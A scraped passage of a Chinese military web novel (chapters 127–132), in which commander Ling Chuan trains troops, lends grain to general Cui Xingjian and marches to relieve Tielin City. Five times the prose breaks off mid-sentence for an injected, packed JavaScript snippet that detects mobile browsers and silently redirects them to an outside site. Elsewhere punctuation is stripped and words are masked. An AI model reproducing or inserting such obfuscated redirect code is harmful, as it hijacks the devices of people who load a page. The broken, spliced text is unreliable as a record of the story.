而且,现在狼血酒和棉布已经开始挣钱,每天都有大量银子入账,就算没有这笔银子,也能勉强支撑军队所需。 这方面,苏璃算是居功至伟,这段时间,她基本上都在打理生意上的事情,通常晚上还在要核对账目。 第127章 云州副将,催行俭! 转眼间又是一个月过去了。 原本的皑皑白雪已经融化,山寒水冷的北境逐渐焕发生机,老百姓也开始忙碌起来,着手今年的耕种。 为了帮助老百姓春耕,凌川专门让铁匠打造了一批犁耙锄头等农具,送到县衙让谢知命发放给老百姓,而谢知命这边,也出银子从其他地方买来几十头耕牛。 毕竟,以前的云岚百姓可谓是一穷二白,半数土地都在刘家名下,还有一部分则是在其他乡绅手中,虽然如今刘家的土地已经还给老百姓,其它乡绅也都识趣将自己通过不正当手段得来的土地退回。 但,很多老百姓已经多年无地可种,家中别说耕牛,就连铁器农具都找不到,如果没有这些耕牛和农具,根本没办法春耕。 这一个月来,凌川每天早上跟随队伍训练擐甲十里趋,紧接着参加八百步逾障训练,剩下的时间都用来练刀。 经过这段时间的刻苦训练,凌川的刀法可以用质的飞跃来形容,就连经常与他对练的唐岿然、洛青云与轩辕孤鸿等人都为之惊诧。 之前,凌川的刀法虽然也很强,但他们几人与之对战,总能打得旗鼓相当,三五十回合不落下风,可现在面对凌川,他们却只能一直被压着打,甚至有时候,连十个回合都支撑不了。 “下次,你们使用自己擅长的兵器!”凌川笑着说道。 “那校尉大人可要小心了!”唐岿然笑着说道,凌川从他的眼神中看到了‘报复’二字。 凌川曾见识过唐岿然的枪,非常强。 而且,之前陈暻垚也说过,唐岿然曾经号称南系军中第一枪,曾手持一杆**,带千骑直取敌方中军大营,一路势如破竹,前来阻挡的敌将无人能与之撄锋。 清晨,凌川依旧带队擐甲十里趋,大牛扛着旗杆紧跟在凌川身后,几个月下来,他一直如此,那根旗杆都已经被铠甲磨得发亮。 两千人列成一条长龙,围着云岚县跑一整圈正好十里路程,最初的时候,完成十里需要一个多时辰,凌川给他们的目标是,只有在一炷香之内完成才算考核通过。 当时,所有人都觉得,这几乎是一个不可能完成的考核。 然而,经过这近两个月的训练,大家的速度在一点点提升,时间也在一点点缩短,现如今,距离一炷香已经不远了。 云岚县百姓们对于此景早已习惯,甚至很多人每天准时端着小板凳来观看。 有稚童指着队伍喊道:“娘,我长大了,也要参军!” 也有老人神色悲戚,想 起了自己战死边关的儿子。 就在此时,一行十余骑从城外进入云岚县,直奔军营而去,领头之人约莫三十五六岁,身着狻猊吞海锁环甲,赫然是一名正五品将军。 身后一众亲兵个个披甲执刀,策马疾驰。 忽然,一阵沉重的脚步声传来,宛如闷雷一般由远及近。 领头将军勒住缰绳,抬手示意止步,身后十多名亲兵迅速止步,一个个握住刀柄,满脸戒备之色。 “去看看什么情况!” “是!” 一名亲兵朗声答道,正欲策马上前,只见前方道路长出现大批披甲士兵,正快步朝着这边跑来。 领头之人乃是一名少年,其身后跟着一位扛着木杆的彪形大汉。 凌川也看到了前方的十多骑,立马放缓了脚步,苍蝇果断让旗手向后传令。 最终,队伍在那十余骑二十步外停了下来。 凌川看出了前方那名中年男子身穿的狻猊吞海锁环甲,主动上前抱拳行礼。 “云岚校尉凌川,见过将军!” 那人神色微微一愣,问道:“你就是凌川?” “正是!” “我乃云州副将催行俭!”男子自报家门,随后用手中马鞭指了指凌川身后的队伍,问道:“凌校尉,你这是做什么?” 凌川笑了笑,回答道:“回禀都尉,我等正在练兵!” “练兵?”催行俭一愣,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948043|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中带着几分责备,问道:“练兵不在校场,在县城里练什么兵?” “将军有所不知,这擐甲十里趋,乃是我军每日的晨练,早饭之后,便在校场训练!”凌川解释道。 “擐甲十里趋,有点意思!”催行俭显然是没听过这个训练项目,但也没太放在心上,“我此行是为传达军令而来,凌校尉收兵回营吧!” “是!”凌川朗声答道。 回到军营,凌川让其他人继续训练,催行俭并未直接进入校尉府,而是主动提议,到校场看看凌川如何练兵。 “以前的云岚军纪律松散、战力平平、难堪大用,没想到短短两个月,竟有如此变化,凌校尉能力非凡啊!”催行俭看着场中训练的士兵,笑道。 凌川并不知道催行俭此行传达什么军令,更不明白他属于哪个阵营,所以,说话时保留了几分戒备。 “将军过誉了,关外敌军蠢蠢欲动,我等当厉兵秣马,全力备战!” 催行俭笑道:“凌校尉所言极是,若我北疆将领人人如此,何惧胡羯铁骑啊!” 凌川领着催行俭在校场转了一圈,本以为后者会到锻造兵甲的地方查看,然而,他只是在营房门口转了一圈便离开了。 来到校尉府,一众亲兵都留在了门外,凌川亲手沏了一壶茶,与催行俭相对而坐。 后者端起茶杯闻了闻,说道:“雪里青,想不到凌校尉府上竟有如此好茶!” 凌川笑道:“不瞒将军,这是从刘家库房得来,今日第一次知道它叫雪里青!” 凌川故意提及刘家,便是想试探一下对方的态度。 只见催行俭眼底闪过一抹异色,随即说道:“这雪里青乃是祁连雪峰之上独有的极品,每年化雪之际便开始吐出嫩芽,这个时候采摘最为适宜,不过,此茶大多生长于悬崖边,需冒着风雪采摘,所以,产量极低!” 凌川点了点头,说道:“看得出来,将军是懂茶之人,我这里还有一些,回头给将军捎上,免得被我给糟蹋了!” 第128章 借粮! 催行俭连连摆手:“君子不夺人所好,这万万不可!” “将军说笑了,有道是君子成人之美,更何况,如此好茶只有给懂茶之人,方能体现它的价值!” 两人一番推辞,最终催行俭拗不过,便答应了下来。 紧接着,催行俭主动开口说道:“其实,我本次来云州,是有事相求!” 凌川闻言,顿时一愣,对方身为云州副将,名副其实的将军,竟然用到‘求’字。 “将军言重了,属下承受不起!” 催行俭笑了笑,说道:“凌兄弟,不瞒你说,我实在是没办法,否则,也不会低声下气来求你!” 听到这话,凌川顿时眉头一皱,问道:“将军有何难处,敬请吩咐,属下一定竭尽全力!” “既然如此,那我就不卖关子了,我是来借粮啊!”催行俭开口说道。 “借粮?”凌川一脸不解。 催行俭长叹了一口气,说道:“兄弟你是有所不知啊,三日前,节度府传来军令,让云州出兵三万,十日内赶至塔拉草原,牵制胡羯第三路大军!” 凌川顿时一惊,问道:“是边境有战事发生了吗?” “暂时还没有,不过,胡羯近段时间频频调兵,如今,胡羯已在北疆边境屯兵二十万有余,不仅如此,天汗城最近也在派兵往这边来,估计,距离大战不远了!” 此言一出,现场的气氛顿时紧张起来,凌川此前便预料到,等北疆冰雪融化,战斗便会开打。 “我云州军已枕戈待旦,奈何粮草短缺,前来向你借粮!”催行俭看着凌川,继续说道:“我知道你前不久才抄了刘家,想来刘家这些年收刮的家底不在少数,还望兄弟慷慨解囊,帮我这一次!” “为何不向节度府要军粮?”凌川不解地问道。 “怎么没要啊,节度府的原话是,粮草全部征调到边境,让我们自己想办法!”催行俭叹息道: “陆将军年迈,也深知此事棘手,便全权交予我!眼看时间越来越近,如果半月之内,云州军到不了塔拉草原,我这颗脑袋,怕是保不住了!” 催行俭口中的陆将军不是别人,正是云州主将陆含章,此人乃是北疆老将,如今已年过六旬,这个年纪,上战场显然是不可能了。 估计陆含章近两年便会回京,大概率会进入兵部,所以,眼下云州大小军务基本都交由催行俭在打理。 “说句见外的话,我与将军素未谋面,将军为何偏偏找我?”凌川面带一丝笑意,问道。 “因为章绩一直在为难你,而我也正好看不惯他!” “就因为这个?” “这难道还不够吗?”催行俭问道。 “将军能保我?”凌川试着问道。 催行俭笑了笑,说道:“我知道叶世珍向着你,但很多事情他也不便插手,而你现在是云州军一员,我保你则是名正言顺,虽然我的后台不及章绩,但若是加上青州叶氏的嫡系,章绩也得掂量掂量了!” 见凌川端起茶杯并未说话,催行俭继续说道:“不瞒凌兄弟,家父乃是兵部左侍郎,在朝中多少也能说上一些话!” 凌川内心一惊,暗道这北系军高层果真都是大有来头,像自己这般毫无跟脚的泥腿子,想要爬上去,简直是难如登天。 “将军言重了,云岚县本就属云州管辖,将军来云岚县调粮是理所当然的事情!”凌川笑了笑,继续说道:“只是不知将军需要多少粮?” 催行俭放下茶杯,伸出五根手指头。 凌川点了点头,对门口喊道:“苍蝇!” 苍蝇跨步而入,抱拳道:“大人有何吩咐?” 凌川悄悄给他使了个眼色,问道:“仓库中还有多少军粮?” “回大人,还有四万石!” 凌川点了点头,说道:“通知朱武,带戊标把所有粮食全部运往云州!” 苍蝇一愣,问道:“大人,四万石粮全部运走?那咱们可就没吃的了啊!” “咱们自己想办法,你只需执行命令!”凌川语气严肃。 苍蝇连忙抱拳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948044|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“属下这就去办!” 凌川收回目光,尴尬笑道:“实在不好意思,我带着死字营从狼烽口过来的时候,仓库中连耗子都看不到一只,还是从刘家仓库中得来了五万石粮!” 催行俭不傻,他又岂会不知道凌川是在装穷,要不然,他怎么会一点余粮不留,全部给自己? 不过,对方答应给自己四万石,已经是意外之喜了,他也不会去拆穿凌川。 只见他站起身来,对着凌川行了一礼,说道:“凌兄弟大恩,我催行俭一定铭记于心,来日厚报!” 凌川连忙扶住他,说道:“将军万万不可,咱们云州军本就是一家,何分你我?” “既然如此,那我就先行回云州整顿兵马了,只等兄弟粮食一到便起程!” 凌川起身相送,“将军放心,三日之内,四万石粮一定交到你手中!” 走出校尉府,几名亲兵都去牵马了,催行俭这才小声说道:“边关即将开战,到时候,估计所有可战之兵都将被抽调到前线,兄弟早做准备!” “多谢将军提醒,属下一定时刻备战!”凌川回答道。 “还有,此次你先后铲除了章俊跟刘家,顺带连贺临舟都给牵连进去,章绩绝不可能咽下这口气,这次你可要小心防范!”催行俭再次提醒。 凌川点头笑道:“有将军罩着我,属下没什么可担心的!” “明枪易躲暗箭难防,而且,他若是借着此次战事对你使手段,定然是正大光明的阳谋,只能靠你自己破局!” “那岂不是说,我这四万石军粮打水漂了?” 催行俭见他如此放松,也笑道:“凌校尉男子汉大丈夫,该不会是要食言而肥吧?” “我觉得,有必要重新考虑一下!”凌川摸了摸下巴,佯装思索。 就这样,二人在一阵欢声笑语中分别,看着催行俭一行人离开,凌川的神色却逐渐凝重起来。 如今,大周与胡羯双方都在不断往边境调兵,想来,距离开战不远了,正如催行俭所言,自己也该早做准备了。 第129章 战火重燃! 催行俭一行径直出城一名亲兵问道:“将军凌川这么爽快就答应借粮他不会耍咱们吧?” 催行俭笑道:“此人虽年轻但心机谋略却远胜常人他既然答应了就不会食言!” “更何况这区区四万石粮对于他而言不过是九牛一毛借给咱们也就是做个顺水人情!”催行俭笑道。 “啊?他不是说仓库里就只有四万石粮了吗?”那名亲兵诧异地问道。 “那是他说给咱们听的不是你看到的!”催行俭回答道。 第二天朱武便带着戊标将四万石军粮送往云州此地距离云州一百二十里好在官道比较好走三天足够运到。 朱武的戊标除了标长什长是从其他标抽掉过去的下面的士兵基本都是新兵所以这次将押运粮草的任务交给他们。 毕竟这是在关内不担心遇到敌情问题。 与此同时凌川将纪天禄叫了过来交给他一项秘密任务。 自此后纪天禄以及他的斥候队便再也没有出现在云岚军营。 之后这段时间凌川除了日常训练之外经常将几位标长召集到校尉营有时候甚至聊到深夜。 …… 三月十七一道消息传遍北境。 胡羯人出动七路大军对北疆全面开战。 七日前胡羯第四路大军与朔州军于红枫原交战一番厮杀下来周军溃败朔州主将韩青池受伤带着残军退走。 然。 胡羯铁骑趁势追击一举突破红枫原防线四天连下三城如今三万胡羯铁骑直奔朔州而去大有势如破竹之象。 双方此次交锋以周军溃败拉开序幕。 紧接着胡羯的另外三路大军几乎是同时对凉州、阑州、蓟州发起进攻此举旨在牵制北系军不让他们驰援朔州。 三州防线吃紧虽没有呈现出一面倒的趋势但也不容乐观。 一直以来大周与胡羯交战都是输多赢少虽一直坚守北疆国门但胡羯破关而入的例子并不在少数。 听闻边关战火重燃北境百姓无不为之惊慌很多靠近边境的百姓甚至已经举家逃难免遭战火荼毒。 节度府帅营之中卢恽筹神色凝重一众将领参军紧紧围在沙盘跟前。 “朔州情况如何?”卢恽筹沉声问道。 “情况不容乐观韩青池虽据铁鳞城而守可敌军猛攻不止 卢恽筹目光一凝盯着沙盘之上的铁鳞城问道:“谁可支援铁鳞城?” 众人纷纷摇头如今大部分兵力都被派往边境与胡羯的七路大军对峙境内可用之兵极少。 之前虽留了几支队伍以备不时之需奈何距离铁鳞城太远就算现在赶过去也根本来不及。 归根结底是谁也没想到胡羯会率先攻打朔州按常理来说陵州的老龙口和阑州的朝天垭是他们的进攻首选只要攻破便可长驱直入直取关中。 事实上近些年胡羯几次破关皆是从这两处所以这一次在布局之时卢恽筹便将精锐力量全部集中在这两处。 然而胡羯却反其道而行之 就在此时一名参军开口说道:“朔州关内的兵力已经抽掉得所剩无几若要调兵只能从最近的云州调!” 卢恽筹将目光移到云州问道:“云州还有多少可战之兵?” 那名参加回答道:“之前催行俭抽调了三万兵力前往塔拉草原现如今云州各县满打满算还能凑齐一万兵力!” 卢恽筹思索片刻下令道:“宋景听令!” “末将在!”一名身着铠甲的男子抱拳回应。 “命你为主将召集云州各县可战之兵火速支援铁鳞城!” “遵命!” “汪岐听令!” “属下在!”刚才说话那名参军躬身答道。 “命你为参军协助宋景!” “属下遵命!” 卢恽筹目光坚定狠狠一拳砸在沙盘的木架之上说道:“告诉韩青池就算是死守也要给我坚持到援军到来!” 章绩从头到尾都没有说话不过在听到卢恽筹的命令之后嘴角露出一抹不易察觉的冷笑。 很快一匹匹快马飞奔而出朝着云州各县疾驰而去。 云岚县军营凌川让苍蝇传令各标今日其停止操练全军休整。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948045|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 接到命令之后一些士兵激动无比辛苦训练了这么久无论刮风下雨都从不间断今日终于可以修整了。 然而一些老兵却从中嗅到了不一样的气息。 当日凌川让戊标准备粮草而他自己则是来到营房之中。 如今两千把战刀已经全部完工三百副重甲也都尽数完工轻甲足有一千副。 此外还打造了大量的铁枪、铁箭和短箭。 能在不到三个月的 时间里做出这么多的兵甲,已经大大出乎了凌川的预期。 紧接着,他又来到墨巡这边,只见偌大的屋子里,摆满了匣子**,足足六百把,这让凌川都为之震惊。 “辛苦先生了!” 墨巡则是笑道:“这还得归功于校尉大人发明的钢钻解决了刻线问题,让进度大大提升,要不然现在最多能完成四百把!” 就在这时,苍蝇迅速来报。 “大人,节度府的传令官来了,说是有紧急军情!” 凌川听闻面不改色,似乎是早已知道一般。 “让人把所有兵甲分发到各标!”凌川对苍蝇吩咐了一句,随即转身朝着校尉府而去。 回到校尉府,只见一名传令官风尘仆仆地等在那里。 见凌川到来,传令官直接宣读军令:“云岚校尉凌川接令,命即日起,率云岚县可战之兵赶往朔州城,听从宋景将军调遣!” “云岚校尉凌川,接令!”凌川抱拳接令,随即说道:“苍蝇,带这位兄弟下去休息!” “多谢校尉大人好意,命令已经送达,属下得赶回去复命,就不久留了!”说完,转身上马离去。 …… “擂鼓!” “咚咚咚……” 三通鼓响,除半个多月不见踪影的斥候队之外,所有云岚军全部**在校场,无一缺席,更无一迟到。 凌川看着下方一张张冷峻肃穆的面孔,满意地点了点头。 “兄弟们,检验咱们训练成果的时候到了!”凌川语气平淡,可所有人都明白,这句话意味着什么。 第130章 刀名苍生! 所有人穿着崭新的鳞甲一块块铁片宛如鱼鳞般闪烁着寒光。 这铠甲十分精致相比起以往只能覆盖胸腹的皮甲这副铠甲几乎将所有要害全部遮挡甚至还有臂鞲、裙甲和吊腿要知道这些东西可是将军甲才会配备的。 哪怕是北疆那几支精锐军团普通士兵的铁甲也没有这些。 而且这铠甲关节处非常灵活 毫不夸张地说这套铠甲比起五品将军的狻猊吞海锁环甲有过之而无不及凌川本人配备的是同样的铠甲与普通士兵并无区别否则难免被人抓着把柄定他一个僭越之罪。 相比之下唐岿然重甲队的三百人更为威武几乎做到了全身无死角覆盖铁甲遮面平添了几分冷酷与杀气。 三百重甲兵个个身姿巍峨就这么静静站在那里宛如三百没有感情的钢铁战士无形中一股压迫感弥漫而出。 这三百重甲兵要是骑上铁甲覆盖的战马驰骋于沙场可想而知那将是何等雄风。 所有人腰间挂着一把新式战刀刀身长三尺三寸重四斤六两。 凌川看着下方一张张冷峻肃穆的面孔朗声说道: “七日前胡羯第四路大军攻破了红枫原防线如今已兵临铁鳞城下铁鳞城若破朔州将全面失守!节度府传令从云州抽调一万兵力驰援铁鳞城!” 凌川的目光缓缓从众人身上扫过继续说道:“兄弟们检验你们训练成果的时候到了你们准备好了吗?” “时刻准备着!” “时刻准备着!” “时刻准备着!” 所有人齐声达道声如惊雷一浪高过一浪。 很快亲兵队抬着几大桶狼血酒到校场分发给所有士兵。 这几个月训练期间凌川虽然要求极其严格但却不禁酒不过没人每日限量一碗主要是为了给大家解乏反正狼血是自己酿的。 凌川也端起一碗面对众人说道:“兄弟们军功就在铁鳞城外喝了这碗酒随我一起杀敌立功!” “干!” 所有人举起酒碗将碗中狼血一饮而尽。 “唰!” 凌川猛然拔出腰间战刀下方所有人见状也都纷纷拔出腰间战刀。 霎时间寒芒乍现凌冽杀意如巨浪席卷整个校场。 “此刀名为苍生!” 凌川眼神犀利,手中战刀直指天穹,朗声说道:“记住,当我们握住这把战刀的时候,我们肩上扛的是天下苍生,背后站着的是黎民百姓! “所以,我们只能往前冲,不能退! “我们若退,便是山河失守,百姓遭劫! “死战,死战! 所有人用拳头捶打着胸甲,声音如催阵战鼓,震人心魄。 这支军队虽然只有不足两千人,但,气势却不输万军,就算是面对胡羯最为精锐的军团,凌川也有信心战而胜之。 “整顿兵马,半个时辰之后出发! “是!所有人齐声回答。 回到校尉营,苏璃已经为凌川准备好了行囊,虽然这不是第一次送凌川上战场,可心里还是难免担忧。 “相公,一定要保重! 凌川点了点头,随后一把将她搂进怀里,“娘子就安心等我凯旋吧! 紧接着,又找到了正在陪小北玩耍的翠花,叮嘱道:“我不在的时候,一定要保护好夫人和小北的安全! 尽管如今的云岚县已经太平,但,谁也不敢保证有没有人会趁着这个机会,对自己身边的人下手,这也是凌川当初决定收留翠花的原因。 “公子放心吧,俺一定寸步不离夫人左右!翠花拍着胸脯保证道。 “小北,叔叔去杀敌人了,你在家里坚持训练别偷懒哦,等我回来,要亲自检验你哦!凌川蹲下身来,对小北说道。 “嗯!小北用力点了点头,目光之中满是憧憬。 憧憬着自己快快长大,然后跟叔叔一起上阵杀敌。 随后,凌川又召来刘晏与周淮二人,“接下来这段时间,这里就交给两位老哥了! “校尉大人放心带着兄弟们去杀敌吧,家里面不用担心!刘晏说道。 “对!多杀几个胡贼,把我们俩那份也算上!周淮笑道。 就在这时,戊标标长朱武找上门来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948046|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“校尉大人! 凌川看了他一眼,已经大致猜出了他的来意,问道:“有事吗? “卑职想问问大人,是不是觉得咱们戊标都是新兵,怕拖累了大家,所以此次战斗才不带上我们?朱武的语气中带着几分委屈和不服。 凌川笑着走上前来,挽着他的肩膀走到一边,问道:“如果都走了,谁来看家? “可是…… 不等朱武开口,凌川再次将其打断,说道:“我知道你们戊标也想上阵杀敌,也想建功立业,可 这次时间仓促,兵甲数量有限,而且,你们留下除了看家之外,还有一个重要任务!” 朱武一听,顿时来了精神,问道:“请大人下令!” “抓紧训练,如果兄弟们都战死在关外,记得帮我们收尸!”凌川重重地拍了拍朱武的肩膀,说道。 “大人……” 听闻此言,朱武双目通红。 凌川见状,笑道:“逗你玩的,放心吧,我一定活着回来!” 只不过,凌川还有下半句没说,那就是,他想把所有人都活着带回来,但他也很清楚,那是不可能的。 战争一旦开启,就注定要**,只是多与少的问题。 半个时辰之后,凌川带着四标兵力外加重甲队和亲兵队,共一千五百多人走出军营。 来到北门跟前,发现这里早已聚满了百姓,谢知命带着王栩等一众衙役站在路中间,显然已经等候多时。 “谢大人,你怎么来了?” 谢知命走上前来,说道:“我来为大家送行,祝大家早日凯旋!” “早日凯旋!” 所有百姓跟着齐声大喊。 以前,云岚县老百姓对云岚军素无好感,在他们心里,云州军中大部分都是兵痞,欺负老百姓是常有的事情,与地痞流氓没什么区别。 自从凌川来了之后,一切都变得不一样了,不仅整顿了军纪,还让士兵帮忙给老百姓修建水渠、修整房屋,深受百姓的爱戴。 “凌某在此谢过县令大人,谢过乡亲们!”凌川抱拳喊道。 第131章 驰援朔州! 此次出征皆为骑兵所以 当日队伍行进八十里来到一个名为铁犁县的地方扎营。 铁犁县位于云州西北方向再往前走二十里便接近朔州边境。 队伍并未进城而是在城外十里之外一座湖边扎营。 四标外加重甲队的营帐以五行方位排列晚饭之后除了巡营队伍之外其他人全部休整一千多人的军营鸦雀无声由此可见经过这段时间的训练军纪已经非常严明。 中军营帐中凌川与几位标长围坐在一起中间摆着一张地图。 “按照这样的行军速度明天日落之前咱们便可抵达朔州城!”轩辕孤鸿开口说道。 他之前便服役于北系军对于北疆地形相比其他人更为熟悉所以这次他被凌川任命为前军。 凌川点了点头将目光看向铁鳞城问道:“铁鳞城地形和防御力量如何?” “卑职已经了解过铁鳞城只是一座小城好在地势较为有利虽不及狼烽口那般险峻但只要指挥得当坚守个十天半月不成问题!” 唐岿然确实摇了摇头说道:“我看未必!之前胡羯进攻狼烽口的时候便出动了投石车如果铁鳞城也动用投石车的话估计很快就会被攻破!” 洛青云也点了点头说道:“而且从地图上看铁鳞城外一片开阔胡羯军可以一股脑将三万兵力全部压上来就算采用蚂蚁战术一人啃一块砖也能把铁鳞城夷为平地!” “我觉得情况也没那么糟糕朔州五万守军三万人都集中在铁鳞城就算之前战**一万也还有近两万兵力且占据地利之势只守不攻应该问题不大!”薛焕之也发表了自己的观点。 就在这时凌川忽然开口道:“我怎么觉得攻打朔州只是一个幌子而非胡羯人的真实意图?” 此言一出帐中顿时陷入了沉默五人脸色也随之一变。 “校尉大人是说胡羯人攻打朔州只是一个假象其目的是将关内本就不多的可战之兵全部吸引过来然后在集中力量对某一处发动猛攻?”唐岿然问道。 凌川点了点头说道:“这不过是我个人猜测但从地图上来看并不是没有这种可能!” 随即他指向地图“你们看就算胡羯大军攻破了铁鳞城也还会面临更为坚固的朔州城而且朔州东有云州西有阑州很容易便对这三万大军形成合围之势!” 凌川看着几人,问道:“这一点,胡羯人不可能不知道,既如此,他们为何还要吃力不讨好攻打朔州?” 听闻此言,众人神色变得更加凝重起来,虽然这只是凌川的一个猜测,可这一番分析却是有理有据。 “听大人这么一说,似乎真找不出他们攻打朔州的理由!”卫敛也紧盯着地图,说道。 “如果真是这样,那敌人的真正目标会是哪里呢?”薛焕之问道。 凌川指了指老龙口,又指了指朝天垭,说道:“从地形上来看,这两个地方的的可能性最大,而且,这些年他们曾不止一次攻破这两处要隘入关,对于地形也相对熟悉!” “所以,接下来,他们对朔州的进攻会越来越凶猛,就看这朝天垭和老龙口谁先调兵支援朔州,他们便会对哪里发起进攻!”凌川说道。 “那我们怎么办?”轩辕孤鸿问道。 “就算事情真像咱们猜测的那般,我们也什么都做不了,只希望节度府有人能看到这一点!”凌川轻叹一声说道。 次日天蒙蒙亮,军队便吃过早饭,继续起程。 中午时分,他们已经出了云州,抵达朔州境内,凌川正准备让队伍原地休整。 就在此时,一匹快马自远处奔来,不过距离太远,只能看到一道黑影。 “是节度府的传令兵!”聂星寒开口说道。 对于聂星寒的‘千里眼’众人早已是见怪不怪。 随着那道身影飞奔而来,众人一看,果然是来自节度府的传令官。 那人手持一面令旗,翻身下马,大喊道:“宋将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948047|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将令,云岚校尉凌川接令!” “属下在!” 凌川上前接令。 这一次,这名传令官并未当众宣读命令,而是从皮囊之中取出一封用火漆封口的密信交到凌川手中。 紧接着,传令兵转身上马快速离开,前后没有丝毫停留。 这个时候传来军令,让众人都是一头雾水。 凌川将密信拆开,只见上面写着:‘命云岚校尉凌川,立即率军改道自鬼哭岭出关,务必于明日天亮前赶至铁鳞城外,以城内烽火为讯,突袭敌军后方!’ 落款乃是宋景。 临时更改命令,这并不算什么,让自己改道出关,绕到敌军后方,与铁鳞城守军前后夹击敌军,也是合情合理。 可凌川却觉得,事情绝不像表面看起来那么简单,如果真有人从中动手脚,那十有**跟章绩有关。 “传令各标标长,前来议事!”凌川对苍蝇交代道。 “是!” 苍蝇立马派出五名亲兵前往各标传令,很快,五名标长迅速赶来。 凌川简明扼要将命令传达了一遍,几名标长神色顿时一变,唐岿然率先开口道:“大人,这莫不是那章绩在从中搞鬼?” “是啊大人,属下也觉得其中有问题,此地距离铁鳞城外,足有两百里,想要在天亮前赶到,咱们就得连夜赶路,全程没时间休整!”轩辕孤鸿也开口说道。 按照原本的计划,他们只需日落之前赶到朔州城与各处援军汇合,由宋景统一带领赶至铁鳞城支援。 可这个时候来一道命令,表面看起来合情合理,细想之下却有诸多疑点。 “有谁知道,这宋景是什么背景,与章绩关系如何?”凌川对几人问道。 众人纷纷摇头,哪怕是轩辕孤鸿也表示,自己只是听说过此人,却连面都没见过,毕竟他当时只是一个校尉,而对方已是从四品明威将军,彼此间差了好几个品级,见不到也正常。 第132章 借道鬼哭岭! “各标听令披甲行军改道鬼哭岭!”凌川直接下令。 很快队伍再次起程 不多时亲兵队伍中一道身影来到凌川身边几次欲言又止。 “有事?”凌川看了他一眼问道。 那名亲兵小声说道:“我认识宋景!” 凌川神色微微一变“你知道?” “大人有所不知我之前便是宋景手下的兵对于他的底细略知一二!” 这名亲兵不是别人正是寇悔不过在之前他还有一个名字叫郭肃。 他能从一个边军小卒升为校尉固然是章绩提拔起来的不然他一个边军小卒就算勇猛过人做到标长就算是到头了。 不过此前苍蝇到各标选拔亲兵的时候却发现寇悔有一项少有人具备的本领那就是他精通胡语。 但考虑其身份的敏感性苍蝇不敢善作决断便请示凌川凌川得知后果断同意他进入亲兵队而且前段时间凌川还让他教斥候队成员学习胡语。 “宋景出自广陵的将门之家其祖父曾以武状元身份进入兵部而宋景自幼熟读兵法这些年在北系军中也有些战功!”寇悔小声说道。 “他与章绩关系如何?”凌川问道。 寇悔摇了摇头说道:“倒没听说他二人有亲密往来不过他二人与汪岐的关系都很不错!” “汪岐?”凌川眉头微皱“就是这次宋景身边的行军参事?” “对!” “原来如此!”凌川嘴角勾起一抹冷笑心中已有计较。 紧接着凌川看了寇悔一眼问道:“你堂堂校尉到我这里做一个亲兵有没有觉得委屈?” 寇悔苦笑一声说道:“大人说笑了我这双手满是罪恶的鲜血活着不过是为自己赎罪而已谈何委不委屈……” 只见他看向前方说道:“若此次战死沙场也算是一种解脱若能侥幸活下来那说明老天爷觉得我罪孽太深不让我轻易**!” 不多时前方出现一条低矮山脊北风呼啸而过宛如鬼哭狼嚎一般带起大片砂砾。 “前方就是鬼哭岭了!”寇悔说道。 “传令全军保持戒备!”凌川对身后的沈珏和孟钊这两名亲兵副队说道。 队长苍蝇已经带着十多名亲兵前面探路去了。 虽然凌川现在无法确定对方让自己临时改道到底是出于战术上的安排还是另有所图但小心总是 不会错的。 